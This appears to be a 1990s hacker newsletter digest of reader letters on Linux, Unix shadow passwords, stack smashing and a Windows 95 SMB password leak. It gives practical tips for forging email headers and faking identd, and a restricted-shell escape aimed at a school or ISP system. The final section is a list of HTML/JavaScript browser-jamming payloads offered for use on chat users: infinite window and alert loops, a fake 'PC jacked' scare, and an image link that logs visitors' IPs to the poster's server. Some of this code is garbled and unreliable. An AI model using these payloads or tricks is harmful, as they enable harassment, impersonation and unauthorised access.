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Table of Contents:
o Linux Questions
o Faking Email Headers
o Identd?
o Understanding Unix
o Stack Busting
o Windows Hacking
o More MSIE Problems
o Jinxing Web Browsers=================================================================
*** Linux Questions
=================================================================a friend and i discovered something. We were both in our linux
and when i tried doing a finger, I'll show up with all the
other users, but him. But if I did a who he will be on !!!. We
use a Red Hat Linux release 4.0 (Colgate) Kernel 2.0.18, is
this a bug ??? an exploit??? his login is rmartinez and by
using who we'll see rmartinez if we finger
rmartinez@blah.blah.blah we=B4ll see all his description
apparently someone told us it was due to the fact that his
username was too long so he could be authenticated but that
linux won't consider it as a user.Can we get anything useful from this??
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
>From "prata@boss1.bossnt.com" <prata@cyber-wizard.com>
| When i was interested in getting linux, i had the same problem.
| I bought RedHat Linux Unleashed (from SAMS publishing). It is
| bundled with a really nice linux cd that has plenty of stuff on
| it to get you started. It also comes with LILO (read: "lie low").
| That's a boot system for linux that enables you to run multiple
| OS's.
| The book tells you how to set it all up.
|
| You're going to need to partition your drive. In order not to
| erase your 95 stuff, you have to use FIPS or another partitioning
| utility. The book explains this all in detail. The point? Get
| yourself a linux book and cd and just follow the instructions.(snip)
Ok. I was using Slackware (kernel 1.2.3). It did not have a
lot of the utilities that I wanted, such as pppd. So I
downloaded the full RedHat 4.0 distribution (about 80+ mb.)
from Sunsite. I downloaded the Root and Boot diskettes, and
ran the installation. I had a second partition set up. Half
way thru the installation, I got a ton of error messages, so I
shut down for the night. When I tried to boot Windoze the
next day to check my email, nobody home!! (Redhat F***'d up
my MBR!!) I tried fdisk /mbr, but nothing worked. I had to
reinstall Windoze 95! Fun!! So, be careful !!BACKUP!!
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>From Technomancer <technomancer@netasia.net> (
Hello!
I have currently installed Slackware Linux at the office. The
installation went out fine but the problem I encountered was
how am I going to connect to the internet and also to our LAN?
I have used netconfig and IMHO, I was able to input the
correct values. Still if I try to ping our DNS, Linux says
that the network is not reachable or something to that effect.
I am using Ethernet 3Com 509 and I have another box using
NE2000. What should I do? I've skimmed through Linux
Unleashed and it assumes that we are connected properly. I
tried GNU Linux too but the same thing happens. Please help.
Thanks in advance! :)=================================================================
*** Faking Email Headers
=================================================================From: k1neTiK <samk5@IDT.NET>
Subject: Email answers
This is quite a long post, be warned.
disclaimer:
By reading this you are agreeing to the following:
Any damage done to yourself with a large hammer is not
k1neTiK's responsibility, nor will he particularly care.>Ed's note:
>
> You can't really cover your tracks in email. Your email header
> records the entire path it travels, all the way from the modem
> port you were logged on. Your sysadmin can check the logs and
> point you out. Of course, if you're really desperate, you can
> always hack into another account (dangerous!) and spoof that.
> There is another method, using web email and anonymizer.com but I
> haven't really checked if that is truly anonymous. I know of one
> instance that we need to make anonymous postings, e.g., you
> disagree with an opinion but are afraid to receive a
> violent/virulent retaliation from other parties.Covering your tracks becomes very easy with experience.
Headers can be faked, just after typing DATA type the header
info you want, and the real header will be added onto that.
If your DNS is username@domain.com as opposed to
username@ts-12.ppp-56.nyc.domain.com or something then it
becomes much easier. It even HELPS you to go to a computer
that is running Ident. All you have to do is download an Ident
Daemon, or use mIRC's, change your username to root in the
daemon, and send the fakemail.Tips for sending fakemail:
1. Use a big server, so it is harder to look at the logs.
2. Fake the header, so that they can't trace your IP without
great difficulty (it is much easier for someone to look at
the first IP in the header, and trace that, then go through
all the IPs in the header and trace all of them. ) it helps
to use real domains and IPs.
3. Fake Ident.
4. Make sure it doesn't say "apparently from and apparently to" by
a) using a real domain
b) typing "from:(whoever)" and "to:(whoever)" after faking the
header (you
can give anything in the "from:", but if you give an Email
address as opposed to a name, make sure its the same as you
wrote in the "rcpt to:").
5. Send yourself a copy first.When my school would not let us get to the Dos prompt when we
were logged into Novell, I turned to two of the hackers most
important resources, improvisation and more experienced
hackers. Does your school/business restrict your access to
the Dos Prompt? I am going to put on my web page
(http://www.geocities.com/TimesSquare/Arcade/4594) a list of
different ways to get into the Dos Prompt even when access is
restricted, send your ways to "samk5@idt.net" unless otherwise
specified in your Email, I will give credit where credit is
due. A little taste of what's to come.Your School/Business might have put certain restrictions on
Windows which may shadow the RUN command and/or the NEW
command, and may even remove the "file" menu completely. My
school had restricted access to everything besides removing
the "file" menu, so of course, my first stop were the INI
files. Guess what I found? Under Program.ini, there were two
suspicious lines towards the bottom, which read:editlevel=4
norun=1Usually in computer language 1 = true and 0 = false. But the
Editlevel was a different thing. I could have taken the easier
way out and just put a colon in front of these lines, but I
thought I would do something a little less conspicuous. I
changed "norun=1" to "norun=0" and "editlevel=4" to
"editlevel=0" and lo and behold, next time I booted Windows it
gave me all the options.=================================================================
*** Identd?
=================================================================From: "Crazy J" <crazyj@earthlink.net>
>When I am on mIRC once in a while I notice that I get this on my
>server status window: *** Identd request from 207.155.184.71 ***
>Identd replied: 1145, 25 : USERID : UNIX : fifo ..is it that the
>system wants 2 kno whu I am?.. what duz 1145, 25 mean?.. thanksFirst off under the identd tab you have show identd querys
checked that's why you see that in the status window. Second if
you want to know what it means and how it works you can read
rfc1413 which outlines the Identification Protocol (Identd)
and will tell you how it works and what it all means. Even so
the 1145, 25 : USERID : UNIX : fifo is the response to the
server query 1145, 25, and means <port-on-server> ,
<port-on-client> : <resp-type> : <add-info>. You can do a
search for rfc1413 or if you want I have a copy on my site at
http://www.win.net/~cjc/fear/fear.html.Later,
Crazy J
=================================================================
*** Understanding Unix
=================================================================From: jojo.hamilton@hamptons.com
In the March 9-12 HH, pete@servtech.com replied to a message with:
> the *s mean that the passwords are shadowed, for better
> security. (There have been other posts on that subject, so I
> won't grind it into the ground.)I reply:
Actually, the *'s mean the username is not implemented.
Characters such as "x" or "!" mean that the password is
shadowed.Also, I am on a system running System V Release 4, set up with
a menu system, consisting of Pine, ftp, lynx, telnet, yadda
yadda yadda.. Basically, there are no shell accounts, no ftp
access..and shadowed passwords. They use an Annex Command Line
Interpreter that, upon login, sometimes drops you out of their
menu (before connecting to the system), and lets you view who
is on the nodes, what jobs are running, and the IP addresses
of servers...My question is: how would one go about getting out of the menu
system (ctrl-z is disabled within pine and others), and/or
root..techmafia speaks:
There are two ways to do this. First, create a file that
contains the following:#!/bin/sh
/usr/local/bin/tcshFTP it to your site, call it 'blah', make sure it is
executable, (chmod +x blah [from FTP if you cannot do it
from a shell or a program available to you]), and then set
your external editor to that. Then when you run your external
editor, BOOM. You get a shell.As for root: get the shell first. Then there are billions of
ways to gain root. Start surfing the net and look for new
exploits.techmafia falls silent.
"Do you have written permission to break into..blah.." "No" I just
want to do it for the sheer thrill of it, besides, why would I down a
server that I depend on?-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
From: Timothy Ward <tbw@discordia.all-net.net>
Shadow questions:
Okie dokie. I've seen a lot of posts of late about shadowing,
and not to deny anyone the information, but it's real
annoying. Shadowed system's are no fun. But even if you got
the shadow'd file, chances are the people aren't lame and they
have decent passwords. (And even if they did use 'apple' for
a password most likely it would probably be illegal to use it).
So just as a little review:consider this /etc/passwd entry:
root:ASisSDiejSmLOi:0:0:Charlie &:/root:/bin/bash
^^ <-- normal entry. Encrypted password stored along with everything
else.Now, consider this one.
root:*:0:0:Charlie &:/root:/bin/bash <--
the * on a non shadowed system would disable the account whereas a *
on a shadowed system means the encrypted password is stored somewhere
else the accompanying shadow file looks like this:root:$1$WmBaRBqP$3fX5EsK78uRaU5PQE4nbh.:0:0::0:0:Charlie
&:/root:/bin/bashisn't life grand??
As for the pwd.db a strings on the file yields :
prozac
Brad Huges
/home/prozac
/bin/bash
1prozacdiscord
Discordia Login
/home/discord
/bin/bash
discord
Discordia Login
/home/discord
/bin/bash
...So as we can see its user information..
I hope this helps a lil..
=================================================================
*** Stack Busting
=================================================================From: bbuster@succeed.net (Bronc Buster)
Stacks Dumps (aka Smashing the Stack)
How do people write code that makes some normal Unix program
crash and drop to a root shell? Most of this type of hacking
is done with what, I'm sure a lot of you know, is called a
"Stack Dump", or Smashing the Stack. Well what does this mean?
Well I'm going to attempt to get you a "crash" course in Data
Segments and Dynamic Memory Allocation. I know it sounds
complex and some of you are already scrolling down, but I'm
going to try, as usual, and put it into layman's terms.All computers that run an Intel 80x86, or Intel based
microprocessor (Pentiums, AMD, Cyrex) divide memory into
things called "segments". These segments are of diffrent
sizes depending on how each program was programmed, and how
each allocates memory. There are Large, Medimum and Small
"memory models", as they are called. For the sake of this I'm
going to use the "Small memory model" which has 65,536 bytes
allocated for the programs use. To get a better picture of
what a Data Segment looks I'm making a diagram of a "Small
memory model Data segment"/-|-----------------| <- 65,535 bytes
| | |
Stack - | | |
\-|-----------------| <- Movable Boundry
/ | |
| | |
Heap - | | |
| | |
\-|-----------------| <- Non-Movable Boundry
/ | |
| | |
Static - | | |
\-|-----------------| <- 0 bytesLet's start at the bottem and work up. The static area at the
bottom is for external and static variables. This is of a
preset size before the program is run because most of these
values are preset in the program. This area holds basic
values and other items that remain through out the run of the
program and remain constent. The boundry above it is
Non-movable because of it's preset size.The Heap, or Near Heap is all the memory between the Static
and Stack area. This is the area the programs runs in. The
program uses this area and manages it assigning pieces of it
to sub-functions and other parts of the program as needed.
This is called "Dynamic Memory Allocation". The Heap will
always be of diffrent sizes as the Static area will, depending
on its needs, start out bigger or smaller. The Stack also
grows and shrinks moving it boundry and shrinking the Heap.Now onto the Stack. As I have said above, the Heap's size is
always diffrent depending on the preset Static area, and on
the Stack. The Stack will grow and shrink depending on other
variables. If a subfunction is called and has more variable
that are just used in this subfuntion, they are stored in the
Stack. For instance, if you get a prompt to enter some kind of
information for a program, chances are a subfunction is asking
for it, and it will be stored in the Stack until used; then
the memory it used will be cleared and that information
passed on, or deleted.Now what if a large program was running, doing a lot of little
things, and it asked you for a few lines of input. You input
50,000 letters. (This is a poor example but I'm trying to put
it in simple terms.) Well if the program is not written
correctly as to limit your input, you could "Crash the Stack".
As the Heap gets bigger the boundry in between the Stack and
itself moves up, then if the Stack needs some bit of memory it
is forced to do with what little it has between the Heap
boundry and the roof at 65,535 bytes. If it needs more memory
and it is not available because it is all in use, it springs a
leak, or "dumps" over the top , hence "Stack Dump". In Unix
a lot of programs need to start a SUID process, or they need to
"run as root" in order to do what they have to do. Now if one
of these programs were to crash while this root process, or as
it's really a root shell, was open, it would drop the person
running it. If this shell were still open because the program
never got a chance to exit from it, you would get dropped
into it.That's that..
I suggest if you want to learn more about Stack Dumps and
hacking Unix in general you learn C. Unix is made for C, it's
library functions are C, it's functions are C. Try going to a
few sites that have codes (like mine) that exploit these types
of holes and looking at what they do, and what they have in
common that makes them work.Can I get a .sig with this one?
Regards \__ ^^ __/
BB X X
\ /
\/
-= One line AWK command that show users with no password or Superusers =-
cat passwd | awk -F: 'NF !=7 || $3 == 0 || $2 == ""{printf $1 " " $2 " " $3}'
bbuster@succeed.net
bbuster@technophoria.com
http://www2.succeed.net/~bbuster
www.infected.com - The Infected - Infecting young minds
www.technophoria.com - Technophoria - We're confused?=================================================================
*** Windows Hacking
=================================================================From: Steve Birnbaum <sbirn@NETMEDIA.NET.IL>
See http://www.security.org.il/msnetbreak/ for more details.
What's new
It is possible from anywhere on the Internet to obtain the
cleartext Windows 95 login password from a Windows 95 computer on a
network connected directly to the Internet given only the IP
address and the workgroup and leave no trace of your actions. It is
untested and may work with Windows For Workgroups as well.Description
There has been recent discussion on security mailing lists
concerning the fact that Microsoft Internet Explorer running on
Windows NT will automatically try to log in to a remote SMB server
(file server) without prompting the user or without the user's
knowledge. By design, the NT machine will transmit to this remote
server the encrypted password and username of the user. This is
documented by Aaron Spangler. The caveats with this are that the
passwords are encrypted and that in many cases people do not use
WWW browsers from NT servers, but rather from computers running
Windows 95.It has been explained that this same exploit does not work against
Windows 95 because Windows 95 is only capable of accessing SMB
shares (file sharing) if they are:
* Connected to the same subnet.
* In the Windows 95 computer's LMHOSTS file on startup
* Announced to the Windows 95 computer by a Master BrowserIt is this third and final condition that can be taken advantage of
to obtain the cleartext password and username of any Windows 95
user who uses Microsoft Internet Explorer. Even careless use of
Microsoft Network Neighborhood can exploit this hole without the
requirement for Internet Explorer The requirements are knowledge ofthe user's IP address, workgroup name and that they access a
hostile web page. The first two are not difficult to obtain and thethird does not have to be an obscure page. In the last 6 months
sites such as the CIA have been broken into. All it would require
is that one un-noticeable line be added to the home page. Since theviewable content of the page has not been altered, such a change
can go unnoticed for a long time.
--
Steve Birnbaum - System Administrator, NetMedia. Jerusalem, Israel.
sbirn@netmedia.net.il Phone: +972-2-6795860 --Standard Disclaimer--
sbirn@security.org.il http://www.vix.com/spam/ (PGP key available)=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
From: Anonymous
In the beginner's series #2, Section 2.... about "hacking" windows
95... you said there are ways to hack windows 95 boxes over a network.
have a small LAN at home (and a big one at school <evil grin>) and
would like to test some of these things on my home and my school. I am
not trying to do things on my school network that are bad.... but...
It would be nice to know some of the ways to hack windows 95 boxes
over a LAN just in case some day it does come in handy. Also.... one
of my friends has a censorship prog on his computer that censors him
from EVERYTHING.... like... pages that contain the word "hack" are
even blocked out! it is b******t! Can you tell me a few more ways
to try just in case the ones you listed in the e-mag dont work?=================================================================
*** More MSIE Problems
=================================================================
From: Steve Birnbaum <sbirn@NETMEDIA.NET.IL>
Russ.Cooper@RC.ON.CA said:
> Is it more important to prevent MS boxes from automatically sending a
> challenge response transparently, or is it more important to have the
> challenge response mechanism fixed such that it cannot be exploited
> even if it is sent transparently and automatically?Very simply...both are important, both should be fixed and we should
ensure that CNN treats them equally.Since both methods can be used to break into remote computers, it is
picking at straws to say that one is more of a risk than the other.> removing functionality is less preferable to improving control over
> that functionalityThere is some "functionality" that Microsoft has provided that cannot
be secured. If a feature can be secured, great. If not, it should
not be there. I do not consider the .url/etc problem fixed. Browsers
should be making a much bigger deal about files from the network. To
make the function to disable the warning as innocuous as making the
checkbox to make the helpful hints window not show up is not a good
solution. We are talking about serious risks. I don't think that the
risk is being made apparent enough to the average windows user who is
going to disable every such checkbox by default.> A security management tool which could impose policies both locally
> and across the network would be able to do this for NT, but as yet we
> still have no program to do this. Why?I won't touch this one. I think my opinions on it should be obvious.
Steve
--
Steve Birnbaum - System Administrator, NetMedia. Jerusalem, Israel.
sbirn@netmedia.net.il Phone: +972-2-6795860 --Standard Disclaimer--
"Windows NT: The lusers think it's pretty" - buzz@warbeast.com
Boycott Internet Spam! http://www.vix.com/spam/ (PGP key available)=================================================================
*** Jinxing Web Browsers (how to get punched in the nose -- CM:)
=================================================================
>From: GR8GUY <cyoung@northernnet.com>
Here I've seen all this crap about this link and click here and open
up this file and so on ya know!! Or do this and it will close Netscape
or do this if you click here!! well heck..LAMERZ!!! That file thing
is how I trace on the www chat lines! Don't tell anyone..I get a
server damaen then..cause the www chat allows pics I send them this
pic <img src="ftp://myip//C:\temp\trace.jpg"> then wham it logs them
to my server damean and I get their IP and whatever I want..but I
always boot them out of my drive after about 10 seconds....oh if they
want links..here I'm 17 and I can figure this stuff out...!
most of it is Java but it's some nasty Java! I like the password
one..put it on a homepage and call the link "Pamala Anderson" and all
the fools get their computer hijacked *grins*...I'm soo innocent!! HA HA
HA~Auto color with script prompt...
<img src="http://www.geocities.com/SiliconValley/7571/pi.gif" height=2
width=0 border=0 onLoad="var xxx = 'teal';
alert('Text');document.fgColor=xxx;document.bgColor='black';"></I><P>~Auto color...
<img src="http://www.geocities.com/SiliconValley/7571/pi.gif" height=2
width=0 border=0 onLoad="var xxx =
'teal';document.fgColor=xxx;document.bgColor='black';"></I><P>
~Auto Opens window!<img src="http://www.geocities.com/SiliconValley/7571/pi.gif" height=2
width=0 border=0 onLoad="window.open('Address')">
~Auto Opens window(s)! !!!!!Good one!!!!!<img src="http://www.geocities.com/SiliconValley/7571/pi.gif" height=2
width=0 border=0 onLoad="while(true){window.open( )}">
~Auto Close Netscape
<img src="http://www.geocities.com/SiliconValley/7571/pi.gif" height=2
width=0 border=0 onLoad="window.close( )">
~Funny! " Blue light special "
<img src="http://www.geocities.com/SiliconValley/7571/pi.gif" height=2
width=0 border=0 onLoad="var xxx = 'sky blue'; alert('Ok....Attention
K-Mart shoppers.. Blue light special!!! Everything must
gooooo!!!!!!');document.fgColor=xxx;document.bgColor='blue';"></I><P>~Close Netscape...
<a href=""onmouseover="window.close( )">TEXT</a>
<a href=""onmouseover=parent.close()>TEXT</a>
<input submit="window.close<Name>">
~Opens window(s)! !!!!!Good one!!!!! This will open about 30+
Netscape Browsers, then they get scaped!<a href=""onmouseover="while(true){window.open( )}">TEXT</a>
~Opens 1 window...This will send them to the address you put in..
<a href="" onmouseover="window.open('Address')">TEXT</a>
~Color change with prompt...
<a
href=""onmouseover="alert('Text');document.bgColor='brown'">TEXT</a>~Changes background color... Where it has ('white') Type in any
color!<a
href="http://button."OnMouseOver="document.bgColor=('white')">TEXT</a><a href="fttp://button"OnMouseOver="document.bgColor=('white')"<a
href=x)TEXT</a><a href="http://button"OnMouseOver="document.bgColor=('white')"<a
href=x)TEXT</a>~Changes the font and background... With a prompt...
<a href=""onmouseover="alert('Purple and beige?');
document.bgColor=('beige'); document.fgColor=('purple')">TEXT</a>~This is another I have made... Just try it...And read what the
message says when it pops up...<a href="" onMouseOver="var fg =prompt('Text Color?', 'red');var
bg=prompt('Background
Color?','Black');document.fgColor=fg;document.bgColor=bg">TEXT</A></I><P><a
href=""onmouseover="document.fgColor='teal';document.bgColor='black'">Text</
A></I><P>~This will change the color to about 5 differnet times...One right
after the other...<a
href=""onmouseover="document.fgColor='White';document.bgColor='Black';docume
nt.fgColor='Red';document.bgColor='Yellow';document.fgColor='White';document
.bgColor='Black';document.fgColor='White';document.bgColor='Black';document.
fgColor='Red';document.bgColor='Yellow';document.fgColor='White';document.bg
Color='Black'">BLAZER</a>~This is the one that I made... Where it has 'password' Type
in anything you want! So if you type in 'Cool' That will be the
password they have to enter to get out of the code.. This can scare
the crap out of people! *lol*<a href=""onMouseOver="var password = 'password';alert('Netscape is
about to crash! You have 5 chances to guess my password and not get
your pc jacked');var c = 0;while(c != 5) {var p =prompt('Guess');if(p
==password){c=5} else c ++};if(p == password){alert('You were Lucky
This time! But it only happens once!........you guessed.')}else
{alert('YOUR PC IS
JACKED!!');vaiCounter=0;while(true)window.open('http://www.NETural.com/~ccam
el')};"CRASHING"r+iCounter('width=1,height=1,resizable=no');iCounter++)}">TE
XT</a></I></I></I><P>'password goes here'
~Looped Java...They can do nothing but click ok! Nasty code, I
like it! *lol*<a href=""onmouseover="while(true)(alert('Click ok'))">TEXT</a>
<a href=""onmouseover=while(true)("document.bgcolor='COLOR'")>TEXT</a>
~Java alerts...Type in a little message...It pops up, they click
ok and they are back to chatting...<a href=""onmouseover="window.alert('Text')">Text</A></I><P>
<a href=""onMouseOver="alert ('Uh oh!!! You should not have touched
this!!!') ;alert ('Ha Ha made ya look!!! :0)') ;return
true;">Text</a></I><P>~This, you can have as many Java windows open as you want... Type
in your messages between the (' ') And, they just keep clicking ok
until the code ends...Depends on how many messages you put in...<a href=""onmouseover="alert(' '); alert(' '); alert(' '); alert('
'); alert(' '); alert(' ')">Text</a>~Hmmm, made this one too! *lol* This is a warning prompt...Try
it...<a href=""onmouseover="alert('Your screwed now!!!'); alert('Your one
stupid sucker arent ya!!!'); alert('Click ok?'); alert('Click ok?');
alert('Click ok?'); alert('Click ok?'); alert('Click ok?');
alert('Click ok?'); alert('Click ok?'); alert('Click ok?');
alert('Click ok?'); alert('Click ok?'); alert('Click ok?');
alert('Click ok?'); alert('Click ok?'); alert('Click ok?');
alert('Click ok?'); alert('Click ok?'); alert('Click ok?');
alert('Click ok?'); alert('Click ok?'); alert('Click ok?');
alert('3'); alert('2'); alert('1'); alert('Next time it Wont stop! You
have been warned!!!')">Text</a>GR8GUY
(LITTE BOY)
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Matt Hinze <matt@cs.utexas.edu> <- finger for phish tapelist
When they took the fourth amendment, I was quiet because I didn't deal drugs.
When they took the sixth amendment, I was quiet because I was innocent.
When they took the second amendment, I was quiet because I didn't own a gun.
Now they've taken the first amendment, and I can say nothing about it.
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